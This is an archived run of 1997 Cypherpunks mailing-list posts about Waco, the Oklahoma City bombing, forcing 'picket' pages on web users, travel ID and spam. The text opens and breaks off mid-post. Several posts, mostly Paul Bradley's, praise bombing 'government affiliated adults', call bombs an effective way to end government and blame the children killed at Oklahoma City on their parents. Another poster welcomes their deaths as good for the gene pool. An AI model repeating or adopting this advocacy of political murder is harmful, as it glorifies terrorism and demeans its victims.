Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign
policy by other means.

Consider, for example, the evolution from the feudal mode of production
to capitalism in Spanish Netherlands. The representatives of the Spanish
King first tries to suppress the emerging capitalism by increased regulation
and taxation. When that failed, they resorted to mass executions and
confiscations under the guise of fighting Protestants.

Consider, for example, a Black child in the United States who dies of
a trivial curable disease because of the lack of health care. Consider
the child's parents who labor "off the books" in menial jobs, who are
deprived by the state from the ability to marry, to work "on the books",
to hold a bank account, et al. Is being deprived from the results of one's
labor that different from being sold at an auctioned and whipped in
a public ceremony to terrify other (wage) slaves?

Joe Stalin himself took part in several spectacular terrorist acts in
his youth, which resulted in deaths of dozens of "innocent bystanders".

What I'm driving at is: someone said earlier that Cypherpunks don't make
bombs, Cypherpunks write code. Well, my response is, if you write code
for anonymous electronic commerce that seriously challenges the gubmint,
in a free market environment, then the gubmint will first try to regulate
it out of existence, and if it fails, it will use whatever force is
necessary, including jailing and shooting people, to fight for it survival.
The obsolete ruling class is doomed by thr inevitable historical process,
but it will put up a tremendous fight before giving up its ghost.

Prepare for crypto to be criminalzed. Prepare for the former cpunks who
"sold out" (C2Net and the like) to support criminalization of crypto use
within the U.S. in exchange for a possible relexation of export rules.
Prepare for any instrument that resembles bearer bonds to be outlawed.
Prepare for Internet gambling to be outlawed. Prepare for class struggle.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 10:44:29 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706050148.UAA04173@einstein.ssz.com>
Message-ID: <199706050238.VAA27313@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706050148.UAA04173@einstein.ssz.com>, on 06/04/97 
   at 08:48 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Hi,

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Wed, 04 Jun 97 10:00:46 -0500
>> Subject: Re: Webpage picketing (fwd)

>> I think that your analogy is slightly flawed.
>> 
>> While the farmers have a right to protest on the side of the road they do
>> not have a right to interfere with the travelers on the road.

>Correct and using my model would in no way interfere with a users use of
>the network. It would not add excessive delay or other impedemants. It
>would be a one time event that occured when the site was initialy
>accessed. Much like having to go past the picketers on the side of the
>road at least once.

I guess we will have to agree to disagree. If I am stoped even once that
is one time too many. In the real world if a group of picketers try to
impead my entrance to a store parking lot the growl of a 427 does alot to
convince them of the errors of their ways. :)

>> There is no real way you could picket on the "Info highway" as you have no
>> right to interfere with the packets traveling on the highway. You can
>> stand of to the side if you want but somehow I don't think that the
>> packets will be watching. :)

>If it is a fully privately funded highway, I agree. If it accepts public
>money I obviously disagree with you. As to the packets watching, no more
>so than the cars being used are watching the picketers. This is a straw
>man argument. The issue here is not the packets but the paticipants.

Yes and it is the participants who are sending the packets. If I am
sending packets between point A & B you have no right to interfere with
those transmisions. You donot have the right to re-route them or substute
them for others. If you have somthing to say put up a web page and if I am
interested I'll stop by and take a look. You don't have the right to force
me to look. To do so would be a serious perversion of the 1st Amendment.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 5 Jun 1997 09:46:33 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <0nZVXb200YUd0MAqc0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Hallam-Baker <hallam@ai.mit.edu> writes:
> Only I think that the SAS is probably better experienced.
> 
> 
> > The Feds could have done in 1993 what they've done since (Koresh wasn't the 
> > only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.
> 
> yeah peacefull types whose response to a visit from the police was to
> lie in ambush and shoot at them with automatic weapons.
>
> So are you suggesting that the police ignore the complaints of illegal
> ownership of firearms and child abuse?

Tens of highly armed ninjas running at ones property does not
constitute a "visit." More like an "attack." If the ATF agents had
been neighbors of the Davidains, then the Davidians would have been
well within thier rights to shoot them down.

The proper thing to do would be to walk up and knock on the door. The
local sherrif suggested that percise action. However, the unassailable
feds in their ivory towers couldn't be bothered to ask any local
officials before the raid.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 11:21:07 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050245.VAA04463@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Wed, 04 Jun 97 21:38:40 -0500
> Subject: Re: Webpage picketing (fwd)

> >Correct and using my model would in no way interfere with a users use of
> >the network. It would not add excessive delay or other impedemants. It
> >would be a one time event that occured when the site was initialy
> >accessed. Much like having to go past the picketers on the side of the
> >road at least once.
> 
> I guess we will have to agree to disagree. If I am stoped even once that
> is one time too many. In the real world if a group of picketers try to
> impead my entrance to a store parking lot the growl of a 427 does alot to
> convince them of the errors of their ways. :)

Whew, talk about fixated. NOBODY is talking about stopping anything but you,
THAT would be unconstitutional. I am NOT saying that such a situation would
prevent you from reaching your destination (ie the store) but it would
require you to pass through the picket line (ie get a single page as your
first responce to your request) and be exposed however briefly to their
speech.

> Yes and it is the participants who are sending the packets. If I am
> sending packets between point A & B you have no right to interfere with
> those transmisions.

You are right, I WOULD  have a right to interfere with their reception which
is after all what I am talking about. I am in no way discussing slowing or
otherwise altering the request from the user, I am specificaly talking about
adding a single page to the servers output. Straw man.

> You donot have the right to re-route them or substute
> them for others. If you have somthing to say put up a web page and if I am
> interested I'll stop by and take a look. You don't have the right to force
> me to look. To do so would be a serious perversion of the 1st Amendment.

Absolutely, and none of this has anything whatsoever to do with the issue at
hand. Another straw man. If you are using a publicly funded thoroughfare I
CAN consitutionaly FORCE you to see my message if YOU insist on going to
that particular store. It isn't the user who is being picketed, it is the
server. You as a user of the system have nothing to say about it, unless as
alluded by another cpunk you want to picket the picketers (which is
completely legal and happens quite often).

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 12:25:03 +0800
To: cypherpunks@toad.com
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <Pine.3.89.9706041516.A12832-0100000@netcom19>
Message-ID: <qyys8D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> Some on this list will even
> say that the kids' deaths fortunately
> reduced the negative impact their parents can have on the gene pool.

Good point, Lucky.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 11:27:07 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050252.VAA04510@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: frissell@panix.com
> Date: Wed, 04 Jun 1997 22:39:56 -0400
> Subject: Re: Webpage picketing (fwd)

> The Net is technically and legally a private value-added network.  The last 
> bit of the then existing backbone was privatized the weekend following the OKC 
> bombing in April 1995.  (No relation)

Yes, and there is not one law on the books preventing the government from
putting in their own backbones in the future, which is exactly what they
are planning on doing. Which is what I am talking about. This temporal
displacement argument is a straw man.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 13:07:23 +0800
To: cypherpunks@Algebra.COM
Subject: Anarchy, Peter Pan, and Insults
In-Reply-To: <19970604173133.51738@bywater.songbird.com>
Message-ID: <v03102807afbbf55a7e2d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:14 PM -0700 6/4/97, frissell@panix.com wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>>Yes, some pathetic strange little boys swaggering around in never-never
>>land.  Lonely individuals with shriveled hearts, stunted morals, and
>>feverish imaginations, who brag contemptuously of their superiority
>>over "sheeple", and boast of their heroic roles in the coming
>>revolution.
>
>I hope you're not referring to Lucky, or Time May, or me.  Lucky has a
>successful career in a computer-related field.  Tim was exceedingly well-
>integrated into the work force at Intel and did a great deal of valuable and
>lucrative work for them.  I am married with four children (who I never
>sent to
>a government school) and get along well with a host of friends and
>co-workers.
> I have achieved a modicum of success as a writer and speaker.  I happen
>to be
>a neo-victorian myself.
>
>Why is it that when someone like Al Gore expresses strong and extremist views
>as he did in "Earth in the Lurch" (or whatever that book was called) no one
>ever claims that he is " a pathetic strange little boy swaggering around in
>never-never land.  A lonely individual with a shriveled heart, stunted
>morals,
>and a feverish imagination."

Like I said, Duncan, Kent Crispin is in that terminal phase of simply
insulting the list in any way he can...which is apparently pretty feebly.
Perhaps he can contract with Vulis to use the 'bot Vulis uses to post his
daily ASCII art insults.

Imagine it: Everyday we could see a Crispingram: "Timmy Peter Pan May is
just another strange little boy swaggering around in never-never land."

By the way, this is why I urge some caution in criticizing Phill
Hallam-Baker. Phill is a liberal and anti-gun person, and perhaps even a
Clinton supporter. (Gasp.) But he, while as abrasive on his issues as we
are on ours, seldom resorts to the kind of puerile criticism Crispin uses.

Hell, some of my best conversational friends are commies! (Dave Mandl, for
example)

(Those who have a deeper understanding of anarchy, whether
anarcho-capitalism or more leftist variants, tend to understand that the
underlying similarities are greater than the differences. Though I favor
unrestricted free markets, I understand that corporate agents, like
Microsoft, PGP, and RSA, will seek advantage anyway they can, and are a
threat in any statist system. Anarchy lessens their power in more ways than
one. I will continue to fight my left-anarchist friends on issues like gun
control and freedom of association, but we seem to agree that reducing
power of central governments remains a good thing.)


--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 5 Jun 1997 10:40:31 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Waco
In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com>
Message-ID: <3.0.2.32.19970604222321.006f3c90@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Phil,

Look, I know you're somewhat anti-private guns and somewhat anti-Right Wing 
Nuts.  I can understand all that.  I'm somewhat anti-government guns and 
somewhat anti-Left Wing Nuts myself. 

So don't take the word of right wing nuts on WACO.  Pay attention to former 
Attorney General Ramsey Clark as he sues the Feds on behalf of the survivors.

Or read the review of the new documentary WACO: THE RULES OF ENGAGEMENT which 
premiered at Sundance.  

http://www.waco93.com/

http://www.waco93.com/sfbgreview.htm

San Francisco Bay Guardian March 12, 1997  (SF's Alternative Weekly)

Rewinding Waco

New doc Waco turns heads, hearts. By Susan Gerhard

"I've always voted Democrat," William Gazecki, director of crowd-displeaser 
Waco: The Rules of Engagement, told me over the phone last week. "But at this 
point, all the lines are crossing in my mind."

Ours, too. One of the most achingly sad documentaries I can remember, 
Gazecki's film sounds, on paper, more like a morning with Rush Limbaugh than 
like an evening screening at the Roxie (where it got its first theatrical run, 
last week). In Waco's world the gun "nuts" are sane, the conservatives are 
honest, the liberals are pigs, the children are in danger. The doc left even 
slackers in Roxie's rep house stunned, their ideologies scrambled and their 
consciences scarred by a slow-motion,two-hour-plus replay of the slaughter of 
a peaceful sect.

How can a jury look at the Rodney King videotape and not see a police beating? 
The same way the American people can look at the Waco inferno and see a mass 
suicide.

A radical reframing suited up in pin-striped documentary garb, The Rules of 
Engagement mixes footage that's already been heavily digested by interested 
parties: Waco in flames, forward- looking infrared (FLIR) imagery seen by 
Congress, CSPAN's coverage of the Waco hearings, David Koresh's pleas, Janet 
Reno's testimony. But this film adds to that tabloid mix some desperate 911 
calls by Branch Davidians, sections of the negotiation tapes that offer a 
dismal perspective on FBI attempts to come to a truce, the Davidians' footage 
and that of the FBI agents (a SWAT teamster jokes about being "honed to kill," 
while Davidians inside calmly express fear for their lives). Most crucially, 
the soundtrack lays new emotional cues over old footage (a Third Reichian 
drumbeat as federal agents approach, heavy-metal guitar tangle as tanks crash 
into the building). And in case anyone's sympathy for the Davidians was 
lagging, the film also has witnesses noting that armed federal agents killed 
their Alaskan malamute.


**********

Showing at

THE COOLIDGE CORNER
    Brookline, MA

    Showing daily 
    June 27 - July 4


DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 11:48:38 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706050245.VAA04463@einstein.ssz.com>
Message-ID: <199706050345.WAA28246@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi Jim,

Lets drop the analogies for a moment. :)

Now if I understand you (and feel free to correct me) this is what you
wish to do:

I as Joe Sixpack want to goto http://www.bigtits.com

You as goodie-2-shoes want to picket this site.

Inorder to do this you wish to have me goto http://www.NOW.com and see
their anti-porn page before I can see the bigtits page. (wether I actually
goto their website or the page is automatically downloaded is irrelevant
for the disscusion).

Now as Joe Sixpack I do not want to see the anit-porn page from the NOW I
want to see the bigtits page at www.bigtits.com

Where exactly is it in the constution that say that your free speech
rights extend to the point where you can force me to read what you have to
say when I don't want to?

I just don't see how you can make this leap regardless of who is doing the
funding.

BigTits have their 1st Amendment rights to free speech the same as the
NOW. BigTits puts up their web site & NOW puts up theirs. I now can make
my choice of who's speech I wish to listen to. If I decide to listen to
BigTits that is my right to do so and if I want to listen to NOW that is
also my right.

I'll leave the numerous analogies alone for a latter post. I just don't
see where anyone has the right to tell me what I must read.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 5 Jun 1997 10:51:07 +0800
To: "Peter Trei" <cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706041452.JAA01618@einstein.ssz.com>
Message-ID: <3.0.2.32.19970604223956.03965ddc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:33 AM 6/4/97 -6, Peter Trei wrote:
>'Publically funded network backbones'? Can you name one (in the US)? 
>NSFnet and ARPAnet are long dead. Back when they were active, there was 
>considerable debate about the legality of commercial speech on the 
>net, and earlier, doubts about the legality of any traffic (including 
>private email) which was not in support of government funded research.
>(the first big mailing list, the SF-Lovers Digest, had a 
>quasi-underground existence for many years due to this worry).

The Net is technically and legally a private value-added network.  The last 
bit of the then existing backbone was privatized the weekend following the OKC 
bombing in April 1995.  (No relation)

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 5 Jun 1997 13:48:35 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: McVeigh is not the issue!
In-Reply-To: <Pine.LNX.3.91.970603182957.90A-100000@fatmans.demon.co.uk>
Message-ID: <v03102809afbc01d62f74@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>(The airlines claim the FAA is requiring traveller identity. Maybe yes,
>maybe no.

Traveler ID is not 'required', however if you don't possess a government
issued ID and/or have paid for your ticket via cash within 48 hours of
departure expect some delays in your travel and a through search of your
baggage.

>Any extension to further "position escrow"
>(which is what I call the increasing requirements that citizen-units report
>their identities when travelling) would, as I understand the Constitution,
>violate various freedoms to move about with government interference.)
>
>These are the serious issues.

Yes, they are and the Feds are tip-toeing around the matter ever so lightly
so as not to have the ACLU on their case.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 16:13:08 +0800
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <Pine.LNX.3.91.970604223937.624B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> As to the Children of OKC, people who turn the care of their children 
> over to government employees or contractors do not place too high a 
> value on those children.

I certainly don`t agree that a high value was not placed on the lives of 
the children by their parents, but the parents were guilty of naivety, 
stupidity and placing the children at risk.

> think those children who died weren't cared for? You are a sick person who
> should seriously consider therapy. Anyone who read this and said "Yeah!" 

I certainly feel the parents, though guilty of no crime, have only 
themselves to blame for the needless deaths of their children.

> understand this? There is no reason to blow up kids. It's wrong. For any 
> reason.

Of course, but the children shouldn`t have been there in the first place. 
McVeigh, if he did it, is guilty of murder, on those children alone. He 
commited an initiation of violence against innocent and defenceless human 
beings, this is why I believe the bomber, whoever he/she is, should die 
for their crimes, BUT, the childrens lives were placed at risk by their 
parents because they believed they would be safe in a federal government 
building, very bad move. I`m not absolving McVeigh from guilt, just 
pointing out basic facts.

> who may be important to you have parents who "care" about them enough to
> scour the planet to find a good,safe day care that isn't withing the blast 
> radius or
> shooting range of :
> 
> A government office.
> A large corporations headquarters.
> A law firm.
> A post office.
> A town square.
> A restaurant.
> A bank.
> Anywhere some asshole might have a gun and go loopy.
> Anywhere some asshole might have a car be drunk and go loopy.
> Anywhere some asshole might have a gun and a car and be drunk and go loopy. 

The bottom 3 suggestions are clearly an excessive over-generalisation of 
the point, the parents could not really be reasonably expected to believe 
their children would be harmed by a crazed gunman. As for the drunk 
driver, do you let your kids run unattended on busy roads?

Placing them in a federal building was a stupid act, not criminal, but 
most definitely not the act of a sensible person.

> To all the dipshits who could possibly think otherwise. I should also 
> mention it is an EQUALLY fucked up thing to blow up adults.

Depends who those adults are, as I said in a post yesterday, I do not 
subscribe to the "save the children!" mentality, and killing an innocent 
adult is as criminal as killing an innocent child, but those children 
could not possibly have initiated agression against McVeigh, because they 
were under the age of criminal responsibility (which is a hazy area, but 
I think this case is pretty clear cut). Blowing up guilty, evil, and 
government affiliated adults is to be highly commended.

> Like my fellow Santa Clara County Resident Bill Frantz said :
> 
> For cypherpunks this comes down to: Make code, not bombs.

True, code will lead to further liberation in the virtual communities, 
but bombs are an effective device for ending the corrupt tyrannical 
government that rules us.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 5 Jun 1997 12:29:01 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706050354.WAA04800@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Wed, 04 Jun 97 22:31:07 -0500
> Subject: Re: Webpage picketing (fwd)

> I as Joe Sixpack want to goto http://www.bigtits.com
> 
> You as goodie-2-shoes want to picket this site.
> 
> Inorder to do this you wish to have me goto http://www.NOW.com and see
> their anti-porn page before I can see the bigtits page. (wether I actually
> goto their website or the page is automatically downloaded is irrelevant
> for the disscusion).

Not exactly, I am saying it would be legaly permissible under the same chain
of reasoning that allows picketing at a public sidewalk in front of a
business to extend it to network traffic which traversed a public link in
the chain of nodes between user and server. I am in effect saying the
end point publicly funded servers on a section of publicly funded network,
not the user or the actual target server (who again have no more stake in
this than in an actual picket line - none), would be required to provide
3rd party single pages before serving the actual target of the user based
upon the same sorts of situations that arise in meatland.

Is that clearer?

> Where exactly is it in the constution that say that your free speech
> rights extend to the point where you can force me to read what you have to
> say when I don't want to?

The 1st Amendment, when you are traversing public property, be it a sidewalk
or stretch of network cable. It is simply a matter of strategy and geography
if for you to get to where you want to go you have to go through public
property on which I desire to speak. Neither you nor your intended
destination has anything to say about it.

> I just don't see how you can make this leap regardless of who is doing the
> funding.

Then you don't understand how picketing works. To get to the private store
you must cross public property. The public is free to use that property to
their own ends within the law. The law allows, through the 1st Amendment,
anyone to stand on that public stip and make certain claims about adjacent
private parties. Hell, you can legaly picket a private individuals house as
long as you do it from the sidewalk - which by extension means that they
could specificaly picket your personal server if they desired as long as
they did it from a publicly funded stretch of network.

> I'll leave the numerous analogies alone for a latter post. I just don't
> see where anyone has the right to tell me what I must read.

As long as you are not using everybody elses money (ie public funds) to get
there they don't. But your not wanting to see the picketers in front of
Bookstop on the sidewalk in no way impacts their right to be there and your
total impunity to do anything about it legaly short of picketing yourself.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 16:13:28 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <33959B0B.167E@ai.mit.edu>
Message-ID: <Pine.LNX.3.91.970604230312.624C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > Hallam-Baker, realizing he is a soft target, wrote:
> 
> > I would say that the visible and government-vilified militia groups have
> > been damaged by this, because of the killing of innocents. Where is the
> > second AP bot, I know about the one at sympatico.......
> 
> I find it very hard to credit people as being opposed to
> censorship when they make thinly veiled threats of murder
> when people post things they don't like.

What? - I don`t seem to recall making any threat, if you are referring to 
the AP quote above, see the post it was in reply to which mention 2 AP 
bots, I asked where the second was, this was not even intended as a 
humorous mock-threat, I did not even notice it looked threatening in 
context. 

If you are referring to the "soft target" quote, that came from a post I 
replied to and was not mine. Look elsewhere.

Also, you are clearly under some misconception if you feel censored or 
threatened by my speech, as anyone who reads my posts often will know, I 
would take no initial agressive act against anyone.

> This is the type of censorship that the IRA uses in NI,
> Catholics who join organisations opposed to the IRA get
> death threats and threats of punishment beatings. When 
> the parents of the five year old murdered by an IRA bomb
> placed in a rubish bin outside a McDonalds announced
> a US speaking tour the IRA threatened to murder them.

The IRA are a bunch of thugs, who happen to serve a useful purpose, 
personally however, I would say than on balance their attacks on 
civilians and private property harm the cause of freedom by showing 
that some of the "terrorists" around really are nasty scary control-freaks.

> Murdering your opponents for what they say is censorship. 

Quite so, you seem to be answering a point I never made, please elaborate 
on this deep issue you appear to have just discovered.

> Bell's Murder Politics scheme was a censorship scheme.

Wrong, Bells AP was intended by Bell as a defensive system to be used 
against agressors, saying AP is a censorship scheme is like saying a gun 
is a tool of censorship because you can kill someone with it. So is a 
knife, so is a big stick.

> The fact that Miltia sympathisers condone censorship 
> through murder while fulminating at censorship by
> governement does not surprise me in the least. i can
> guess that someone will try to redefine censorship to
> exclude death threats.

All speech is non-criminal and non agressive, I could make a direct death 
threat with specific details and would not consider my actions criminal, 
I am no militia sympathiser, if McVeigh did kill those children he should 
die for it. I agree that militia groups along the lines of those McVeigh 
was supposedly acting for are merely factions which wish to take over the 
state, not destroy it.

> It is precisely beause of this type of behaviour that
> people consider the militias and their sympathisers to
> be fascist in nature and a threat to the values they
> claim to defend.

Quite so, but "defending" society from a few fascists does not remove the 
responsibility of a government to govern properly in a minarchist 
fashion, nor indeed does it change the fact that government "evolves" to 
become invasive and unnaturally large. 

McVeigh was a highly deranged individial if he did bomb the building, 
when caught he was wearing a T-Shirt with the Jefferson quotation on it 
"The tree of liberty from time to time must be replenished with the blood 
of patriots and tyrants", McVeigh did not believe in personal liberty, 
supposedly (although this is media reported so I cannot fully believe it) 
McVeigh was just another loon who wanted to take over the government to 
turn it in his own preferred direction.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 5 Jun 1997 14:36:27 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Spam costs and questions
In-Reply-To: <Pine.GSO.3.95.970604124518.14450E-100000@well.com>
Message-ID: <v03007831afbc01089cdb@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:45 PM -0700 6/4/97, Declan McCullagh asked:
>	What are the costs to consumers of
>	unsolicited e-mail?  I guess the time it
>	takes to delete it might be one, hard
>	drive space might be another.  I would
>	like to know how to quantify it, and
>	compare it with the cost of sending
>	e-mail.

I don't think the costs of the 1-3 spam messages I get each day is
significant.  (But I don't post to Usenet.)


>	If you banned commercial e-mail,
>	wouldn't it just affect legitimate
>	commercial transactions?  That is to say,
>	wouldn't fly-by-night pyramid-scheme
>	builders still be able to spam?  I would
>	think that if they are so untraceable
>	that it's hard to block their spam that
>	it wouldn't really matter if it were
>	simply made illegal.

Can you say regulatory arbitrage?  The current social controls on spam are
good enough that no one with any positive reputation wants to have anything
to do with it.  This means that spammers have to use anonymous offshore
answering services.  The widespread hatred of spam and spammers should keep
the total amount under control without the legal action and in spite of the
very low cost of spamming.

The recent problems Spamford has been having with denial of service attacks
is just one example of the social control process.  The flood of hostile
email spammers who include real email addresses receive are another.
Legitimate commercial email does not evoke these strong reactions.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 16:14:22 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <Pine.LNX.3.91.970604231629.624D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Give it a rest. The people inside had already murdered several BATF
> agents. They had every opportunity to release the children and allow
> them to get to safety. They had every opportunity to surrender.

The acts were not of murder, the compound inhabitants were simply acting 
in response to the BATF agents actions of trespass, of course they had 
opportunity to surrender, so did the jews in nazi Germany.

> The US police may be incompetent and corrupt but that does not excuse
> the Oaklahoma bombing nor does it in any way lessen the responsibility of
> McVeigh and those who encouraged him.

For once I agree, but on a trivial and unimportant point.

Further those who encouraged him may be responsible, but are not guilty 
of any crime.

> If you have a duly authorised warrant from a court, the inhabitants have
> shot at people from inside the building and you give them two months to
> surrender, sure go for it.

If the people they shot at were trespassing on their land they have done 
nothing wrong. If I come to your front door and give you 2 months to 
surrender your house to me, I think I can predict your reaction.

> yeah peacefull types whose response to a visit from the police was to
> lie in ambush and shoot at them with automatic weapons.

Quite so, the police are agressors by trespassing on their land they 
commited an initiation of agression. Don`t give me this "reasonable 
force" bullshit either.

> So are you suggesting that the police ignore the complaints of illegal
> ownership of firearms and child abuse?

Yes, illegal ownership of firearms is an oxymoron, no weapons should be 
